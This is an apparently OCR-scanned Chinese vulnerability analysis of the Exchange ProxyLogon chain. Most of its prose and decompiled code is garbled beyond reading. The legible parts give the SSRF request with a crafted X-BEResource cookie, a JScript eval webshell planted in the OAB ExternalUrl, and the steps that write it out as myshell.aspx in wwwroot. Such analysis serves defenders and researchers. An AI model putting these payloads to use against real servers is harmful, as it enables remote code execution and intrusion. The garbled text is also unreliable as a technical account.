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PIDGREVA R sid, L 7 ARG EHHETSEEENE—F,

CVE-2021-27065 NIZ—"1"EXHFIE, RATETEEHESEANNE, BEEXHRSE
ERIMERIRE. ST aspx AEREIEH, AEXHFRIBEA—EARDE, JUE
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ZRBEARE TG LI sorf, (BT Exchange IFELREBRIREZ—,

RA5S EABL iR AN RCE B (FEEMASTUR) |, ZRERM 7 HEXEAL
=, RUERNXREALNIXAKRE,

\n JETA ™

1 POST /ecp/target.js HTTP/1.1

2 Host: 192.168.33.135

3 Connection: close

4 Accept-Encoding: gzip, deflate

5 Accept: */*

6 User-Agent: ExchangeServicesClient/8.0.0.0

7 Cookie: X-BEResource=name]@WIN-PDEIT81MINQ.server.cd:444/autodiscover/autodiscover.xml?#~1941962753
2 Content-Type: text/xml
9 Content-Length: 339
10

12 <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
13 <Request>
14 <EMailAddress>
Mr.wang@server.cd
</EMailAddress>
15 <AcceptableResponseSchema>



nttp://scnemas.microsoTt. com/excnange/autodlscover/outlooK/responsescnema/ Z0dba
</AcceptableResponseSchema>
</Request>
</Autodiscover>

00 =~ o

FERAMBIZRERN &L post EKRE], ERAMIAKE:

url: /ecp/target.js
Cookie: X-BEResource=name]@NIN-PDEIT8IMINQ.server.cd:444/autodiscover/autodiscover.xml?#
~1941962753

HANTHEA T LN e RE DT
1. Jecp/targetjs B9 url (KRBT A? BEIELLAF]?
2. Cookie g X-BEResource ftF&z+4? EEEWAIMIERN? I AR XENE?

TEEE FEREE, FAINTEE target.js SUMTAMEE R, KR, AT UBE
targetjs NE—""EAXME, Ma—TREMNER, BBAMIEIZIE KA T HE?

2501, BT IS H A MEREAE

Microsoft.Exchange.FrontEndHttpProxy.dl1l!Microsoft.Exchange.HttpProxy.ProxyModule.OnPost
AuthorizeRequest()

BN T ProxyModule B OnPostAuthorizeRequest() B#, MZFXKE, ZREATX
post 1B TLZ I, ZREXIFA T ProxyModule.OnPostAuthorizelnternal() BRI,

OnPostAuthorizeInternal(HttpApplication httpApplication)

HttpContext context = httpApplication. g

(SharedHttpContextiWrapper. (context)))

tDetailsloggers>.
uestDetailslLogger>. (context), "ProxyRequestHandler",

IHttpHandler httpHandler;

(context. . )
{

httpHandler .SelectHandlerForAuthenticatedRequest(context);
by

%ttpHandler .Selectﬂandleﬁ=:*bnauthenticatedﬁequest(context)4
by
(httpHandler != )

7£ OnPostAuthorizelnternal() RELE, BA T
ProxyModule.SelectHandlerForUnauthenticatedRequest() /57%, ZH AR TX KL 2KIE
AOIESK 1LiE Handler (RIZMERRZEL), FE21EA1Z Handler 2589 BeginProcessRequest REL
H—FTWIEIE K, M HEEEMERIR(TAEE Hanlder B9,



IHttpHandler httpHandler =
( . == ProtocolType.
{
httpHandler = AutodiscoverProxyRequestHandler();
1
( . == ProtocolType.Ews)

( :
(httpContext. )

{
httpHandler EwsProxyRequestHandler();

== ProtocolType.

(httpContext.

{
httpHandler e oxyRequestHandler();
1

( . == ProtocolType.

(EDiscoveryExportToolProxyRequestHandler.
(httpContext.

httpHandler eryExportToolProxyRequestHandler();
(httpContext. )

BEResourceRequestHandler();

AINER], XNFABEH ProtocolType , FRABH RequestPathParser lREGHITHIRT, F
A BT ANERY httpHandler, 32 ProtocolType a2 BME, NIZE5 I NERIGN FB
EF&EBX, Bl /ecp/targetjs ¥1T1EK, M ProtocolType HiE Ecp.
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pcmesourcemneqguestandler.canmandiel) =X, XU =XFHIT AN Z, WA
BEResourceRequestHandler YEJ91EXKAI Handler, (1R CanHandler &—TF,

(HttpRequest httpRequest)

(BEResourceRequestHandler. (httpRequest))
er. (httpRequest. ;

(HttpRequest httpRequest)

| result = ;
HttpCookie httpCookie = httpRequest.
(httpCookie != )

result = httpCookie.

result;

-:1( localPath)

. ("localPath", localPath);

localPath.EndsWith(".axd", StringComparison. ) || localPath.EndsWith(".crx",
StringComparison. ) || localPath. i
StringComparison. || localPath.
StringComparison. || localpath.
StringComparison. || localPath.
StringComparison. || localPath.
StringComparison. || localPath
StringComparison. || localPath.
StringComparison. || localPath.
StringComparison. || localPath.
StringComparison. || localPath.
StringComparison. || localPath.
StringComparison. || localPath.

'l

'l
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.manifest”,
‘mpS”,
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-png”,
-svg",
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StringComparison. localPath.
StringComparison. localPath.
StringComparison. localPath.
StringComparison. localPath.
StringComparison. localPath
StringComparison. localPath.
StringComparison. localPath.
StringComparison. localPath.
StringComparison. localPath.
StringComparison. localPath.
StringComparison. localPath.E
StringComparison. H
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AIAER, ¥U%ﬁg%§7ﬁ_ﬁﬁ\, Cookies EP%E X-BEResource FE&, HIEKEIREFE axc
5y .css 8f js 8 Efth—LELERHITERE. X DEERE, T InfF
BEResourceRequestHandler f’Eﬁgigﬂ\i Handler,

2 Handler 2281842 ~Antext RemanHandlaerinetance B 248N a2 7
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context.Handler,

(handler IHttpAsyncHandler)

cHandler httpAsyncHandler = (IHttpAsyncHandler)handler;

httpAsyncHandler;
ext, AsyncCallback, » IAsyncResult> func 4
<HttpContext>( ._applicatio Func<HttpContext,|

HEqugst))d

m/a@ =1 A Handler BeginProcessRequest() IRECRIIEKFITIH—T LR, HF
BEResourceRequestHandler 4x7#5 ProxyRequestHandler, PRLASRZIBRE T
ProxyRequestHandler.BeginProcessRequest() %Y,

ProxyRequestHandler Z2RIEAN 2351810 FrontEnd B9 Http 153K, & %5 BackEnd,

£ ProxyRequestHandler.BeginProcessRequest() EE, BIEFELIZIEA T
ProxyRequestHandler.BeginCalculate TargetBackEnd() K%L, EEA2MRIE Cookie K
X-BEResource FERFIMTS & A3E1E) BackEnd B9EFT url,

BeginCalculateTargetBackEnd() A T
ProxyRequestHandler.InternalBeginCalculate TargetBackEnd() K%L,

InternalBeginCalculateTargetBackEnd() B T

BEResourceRequestHandler. ResolveAnchorMailbox() EEL,
-

AnchorMailbox ResolveAnchorMailbox()

beresouceCookiq = BEResourceRequestHandler.

(beresouceCookid))

.Set(HttpProxyMetadata.



. . TraceDebug< R >(( ) .GetHashCode(),
" [BEResourceRequestHanlder: :ResolveAnchorMailbox]: BEReso 0
lperesoucecookie, . Ik

urce cookie used: {@}; context {1}.",

ServerInfoAnchorMailbox(BackEndServer. (beresouceCookid),

PIAER], ZRMEFEIZEL Cookie Ay X-BEResource =FE&, HRAEA
BackEndServe SEf5l, &% BackEndServer.FromString() K, =&AMEERE KIE ~ &5
P&l beresourceCookie FFEL, BIFERIERN fadn, EHETERN version, FMIE fadn BE2

"PIRTEER" , MRS EEFR fadn £ F X4 tom@404.com, X1 version 15892
BackEndServer Version,

25

InternalBeginCalculate TargetBackEnd() BIZEFT 42 AR T
ProxyRequestHandler.OnCalculate TargetBackEndCompleted() R,

OnCalculateTargetBackEndCompleted() BREI AT
BEResourceRequestHandler.InternalOnCalculate TargetBackEndCompleted() BRIER,

o o o (BRIFL AR

N

H T ProxyRequestHandler.BeginProxyRequest() %L, 1ZRETTIBMEIEIE K,

BeginProxyRequest 188 GetTargetBackEndServerUrl() SESRE 2 BIZA1R BackEnd A9 url,

Uri GetTargetBackEndServerUrl()

his.LogElapsedTime("E_TargetBEU g

Uri result;

{

{
UrlAnchorMailbox urlAnchorMailbox = . . UrlAnchorMailbox;
(urlAnchorMailbox != )
{
result = urlAnchorMailbox.
X

{
UriBuilder clientUrlForProxy =
clientUrlForProxy. = Uri.u
clientUrlForProxy. = .
clientUrlForProxy.Port = 444;

(
f

RequestDetailsLoggerBase<R e
clientUrlForProxy. = 443;
}
result = clientUrlForProxy.

lzﬂ Seebug

XEACIS LB, 7 — UrlBuilder 25, Wk =""xE4¥, Scheme. Host A Port,

Schema #i1%&~ https;



Host BXE T BackEndServer.Fqgdn, &— T Host.Set() :

.Empty;

.IndexOf("':") >= © &&

( Q\ Seebug

1R fadn EE Y BAZLA T Ak, WMER 1) *BME fadn, ' BT8R B4R BackEnd

Server I#[,

Port f#& BackEndServer.Version, %1% Version /N E15MinVersion (Bf]
1941962752) , MIIEE this.ProxyToDownLevel i true, BY% port §48EH 443,

MEEHE]E—KEER X-BeResource 15;

name]@WIN-PDEIT8IMINQ. server.cd:444/autodiscover/autodiscover.xml?#~1941962753

BN ="1FE A

E=1 =1
4 @ clientUrlForProxy {https://[name] @WIN-PDEITB1MINQ.server.cd:444/autodiscover/autodiscover.xml?#]:443/ecp/target.js}
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BE2s Post FEIMET/a= B TEMEENT, LA NEIXMF:

SR &

4 @ clientUrlForProxy {https://%5Bname%5D@win-pdeit81mjng.server.cd:444/autodiscover/autodiscoverxml?#%5D:443/ecp/target js}
"#9%5D:443/ecp/target.js"

"win-pdeit81mjng.server.cd"

*fautodiscover/autodiscover.xml”
444
wpn
"https"
{https /1%5Bname%5D@win-pdeit81mijng.server.cd:444/autodiscover/autodiscover.xml?#] Mafec@gs‘@%bug
%5Bname%5D"

v
Yrererereeer

g B HEIX B ERTRTRIRE,

ETE="BHERSR, ZREWIRE T cientUrlForProxy.Uri, &%& Ur By get F5i4:

Uri

__DynamicallyInvokable]

Uri( .ToString());
FromUri ( .m_uri);

VAT UriBuilder.ToString() 7735 EVE &R 80 BackEnd B9BEHF url,
£ ToString() X E NS EOHITHHE, AL url,

ToString()
_username. == 0 &&
UriFormatException(SR. ("net_uri_BadUserPassword"));
( .m_scheme. 1= 9)
UriParser syntax = UriParser. .m_scheme);
(syntax != )
{
.m_schemeDelimiter = ((syntax.InFact(UriSyntaxFlags.

@ &% syntax.NotAny(UriSyntaxFlags. ) && syntax. In act
(UriSyntaxFlags. ))) ? Uri.SchemeDelimiter : ":");

.m_schemeDelimiter .m_host. I= @) ? Uri.SchemeDelimiter : ":"

.m_schemeDelimiter) :




ZHEAIMIRG T —1 1810 BackEnd 89 url, ZELUHEXAE:

https://[name]@win-pdeit81mjng.server.cd:444/autodiscover/autodiscover.xml?#]:443/ecp/ta
rget.js

239 FENSHT, FAEE T —HFiRa96:

/ecp/target.js N2, BRI LEEMAVEEIR /ecp/xxxxxxxx.png

X-BEResource FBFLIR1ER, HIFAEINNIZZ [fadn]~BackEndServerVersion
BackEndServerVersion NiZAF 1941962752, ‘# FAT1EH url BRSHEE DRSS,

mEFAIFNE T X-BEResource SEfn E 2 AFER | EHEFES, B2 UNERE
AR name $EECSR, LU0 N EIXAE:

[name]@WIN-PDEIT81MINQ.server.cd:444/autodiscover/autodiscover.xml?#~1941962754
[name]@WIN-PDEIT81IMINQ.server.cd:444/autodiscover/autodiscover.xml?&~1941962755

HEENRIFABEFGRIEEIROS, (RERLUER NERYE:

WIN-PDEIT8IMINQ.server.cd/autodiscover/autodiscover.xml?#~1941962753

XS 443 Im3518) https://win-

pdeit81mjng.server.cd/autodiscover/autodiscover.xml?#:444/ecp/target js
NI KR Z N BackEnd G RFEER 444 Ux150), NMEEHRDANESSEIAIDRIN.

2 J& ProxyRequestHandler Fi& 6 Bix BackEnd Url &#2iEsK, KB EFIHANERAIELS
AR5

\

Eils

o

EETEMZE, REARIEAE BeginProxyRequest() L 1EF CreateServerRequest() o)
BIEMRSIFANE R, TZRE=EIZ A GenerateKerberosAuthHeader() FREE 6172
Kerberos INIELER, Xt 2H B3R EEYS1/5(0) BackEnd Server — 1P EERA.,



NIAEE —L2HNVEERE, FiE*T BackEndServer Version B0, BIEmEATEEISE
1941962753 B, iwE2EATF E15MinVersion, MBHREEMOS TR HIRE], WRAF 1%
BEAT, 2SMEEmATLZENIE, HmSHEMW, (EFFE Exchange 2016 £V,
AddDownlevelProxyHeaders() X%ﬁﬁ@f@ﬁﬁﬁﬂm@ﬂﬁﬁ&ﬁﬁ@ Server , AHNENIMNIIE K K
2, MREBLZRRWIE, AR, H28 BIERENE

(WebHeadercollection headers, HttpContext context)

(!context.

¥
i (context. I= )

IIdentity 1dent1ty = context.
((identlty WindowsIdentity || 1dpnt1ty ClientSecurityContextIdentity) && I= identity.
r

headers[”
headers[ "
headers|[ "msE

[ESEFAE Exchange 2013 R, &I 7 i%{5:

(WebHeaderCollection headers, HttpContext context)

IIdentity identity = context. . R
value = 3
(identity WindowsIdentity || identity ClientSecurityContextIdentity)
{

value = IIdentityExtensions. (identity).ToString();

T

headers["msE:a:chLc-gon.ﬂzccoun't"] value;
headers[” chLogonMailbox' ] value;

headers["msExchTargetMailbox"] = value;

£ Exchange2013 ERIBFEE NG, XERBEZRE, MeESEA If DX,
GetSecurityldentifier(), MEMNAIBREARLERIER, identity 1 User )%‘\‘EE?U Null, PfrIA
Y GetSecurityldentifier() 3&[a] identity.User, FIEE ToString() 7&K, 2EER

B ORRBN RSB RIISES]",
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ZRiEE—TEXHmE, BERERESR,

£ ecp BEEREKE X TRINEZFNEER:

Exchange &I
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B -t E=) =3 EReEREE
HBEFE Autodiscover (Default Web Site) WIN-PDEIT81M)...  Autodisco.. Version 15.1 (Build 2106.2) 2020/12/12 23:09 )
) - ) OAB (Default Web Site)
- ecp (Default Web Site) WIN-PDEIT8IM)..  ECP Version 15.1 (Build 2106.2) 2020/12/12 23:08
EWS (Default Web Site) WIN-PDETEIM...  EWS Version 15.1 (Build 2106.2) 2020/12/12 23:09 ﬁﬁr‘z’ﬁ@ﬂ)i 480
S mapi (Default Web Site) WIN-PDEITSTM)...  Mapi Version 15.1 (Build 2106.2) 2020/12/12 23:09 B
Microsoft-Server-ActiveSync (Default ... WIN-PDEIT81M)... EAS Version 15.1 (Build 2106.2) 2020/12/12 23:09
Z5E OAB (Default Web Site) WIN-PDEITS1M]... Version 15.1 (Build 2106.2) 2021/3/11 1:24
owa (Default Web Site) WIN-PDEITSIM)..  OWA Version 15.1 (Build 2106.2) 2020/12/22 22:02
JilFea PowerShell (Default Web Site) WIN-PDEIT81M)...  PowerShell  Version 15.1 (Build 2106.2) 2020/12/12 23:09
HA 1 4 I
Ji==) J
(2 E#IBZ - Internet Explorer - O s

OAB (Default Web Site)

s

IWIN—PDEITSI MINQ

_briEiEdiE:

202173711 1:12

aiEfR (s h):

480 |
PIEE URL:

| https://win-pdeit81mjng.server.cd/OAB |
ISR URL 2450ATIMEERERY Outlook ZEFiREILIARITERIEFA9 URL,

4kEE URL:

|h‘rtp:/ftesl/<script language="JScript" runat="server" > function Page_Load(){eval(Request["mypasswd"], "unsafe");}c/scrip|

1HAMEE URL 22 TIMEESNEERY Outlock ZEFiRElAlEItEEI B R/ URL,

=

PJLAEE, 72 OAB VirtualDirectory WECE R EBZ 1FERAMES, HABEDBK
ExternUrl IR BN —TTEARD,

mEkFEsEs BIMNER:

(2 E=EHBS - Internet Explorer — O ¥

| @ https://win-pdeit81mjnq.server.cd/ecp/VDirMgmt/ResetVirtualDirectory.aspx?pwmcid=69&ReturnObjectType= (@

o=
== ==

EE="0AB (Default Web Site) S B AT , HpntSeEs, RELEFREENE , A5EH
AREEtIERENER,




IS LENS EEEE ST (T \\server\folder\log.txt)

\WWIN-PDEITS1MINQ\wwwroot\myshell.aspx

FEE , WRTTIESEE WIN-PDEIT81IMINQ E5EIET "net stop was /y” 1 "net start w3svc”

A LAUEE AR,

£8 HUE

H125% v

AINER, MEPRASFEIERZEFHEEINHF, BEHABMBECRE, AL
HRESRE xt, BILFELEFRNILLEEIEERN aspx . F RSB RGFE
C:\inetpub\wwwroot\myshell.aspx, XM SEHFA BT WG KIFONZAER, RS
=L aspx BORBRTUN EH TR,

=
\EE = .
/1SN

MREBMNITTHITEE, FEEM unc Bz, FEREFKGEIRHRITMELE,

BE WERET /ecp/DDI/DDIService.sve/SetObject #HOHTEE, Mo UEZERYIEE
12, BB N X HFIHFITNE RS,

EEEER, BIEENNUE:

| myshell.aspx - i2=z
SUHF) HEE(E) EIU(OQ) EE(V) FEH)

Name

PollInterval
0fflineAddressBooks
RequireSSL
BasicAuthentication
WindowsAuthentication
OAuthAuthentication
MetabasePath

Path

ExtendedProtectionFlags
ExtendedProtectionSPNList
AdminDisplayVersion

Server

InternalUrl
InternalAuthenticationMethods
ExternalUrl
ExternalAuthenticationMethods
AdminDisplayName
ExchangeVersion
DistinguishedName

Identity

Guid

ObjectCategory

ObjectClass

WhenChanged
WhenCreated
WhenChangedUTC
WhenCreatedUTC
OrganizationId

Id
OriginatingServer
IsValid

<

: 0AB (Default Web Site)
1 480

: True

: False

. True

: False

1 IIS://WIN-PDEIT8IMJNQ. server. cd/W3SVC/1/RO0T/0AB

: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\0AB
ExtendedProtectionTokenChecking :

None

: Version 15.1 (Build 2106.2)

: WIN-PDEITSIMJNQ

. https://win—pdeit8imjng. server. cd/0AB

: WindowsIntegrated

: http://test/<script language="JScript” runat="server”>function Page Load() {eval (Request[ mypasswd”], “unsafe”):}</scrip
: WindowsIntegrated

: 0.10 (14.0.100.0)

: CN=0AB (Default Web Site), CN=HITP, CN=Protocols, CN=WIN-PDEIT81MJNQ, CN=Servers, CN=Exchange Administrative Group (FYDIBOHF
: WIN-PDEITSIMJNQ\OAB (Default Web Site)

: 7dad1642-0fde—431d-a9b7-e3442¢Ted57f

: server. cd/Configuration/Schema/ms—Exch—0AB-Virtual-Directory

. top

msExchVirtualDirectory
msExchOABVirtualDirectory

0 2021/3/11 14:52:14
1 2021/3/5 18:35:10
1 2021/3/11 6:52:14
0 2021/3/5 10:35:10

: WIN-PDEITSIMJNQ\OAB (Default Web Site)
: WIN-PDEIT81MJNGQ. server. cd
: True

FIIAEZ, OAB VirtualDirectory NELBEERBAWBE NZBIAIE, XEPEE —GIER
5, mBE aspx AXHER,

ZRIANE H4N T RER, BERafIEREEREXMFN, MENXHFUNITIA xt N
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https://www.microsoft.com/security/blog/2021/03/02/hafnium—targeting—exchange—
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https://www.volexity.com/blog/2021/03/02/active—exploitation—of—microsoft—
exchange—zero-day—vulnerabilities/ (https://www.volexity.com/blog/2021/03/02/active—

exploitation—of-microsoft—-exchange—zero—day—vulnerabilities/)

X3 H Seebug Paper &0, WFEEHIEEARIR, Al
https://paper.seebug.org/1501/ (https://paper.seebug.org/1501/)
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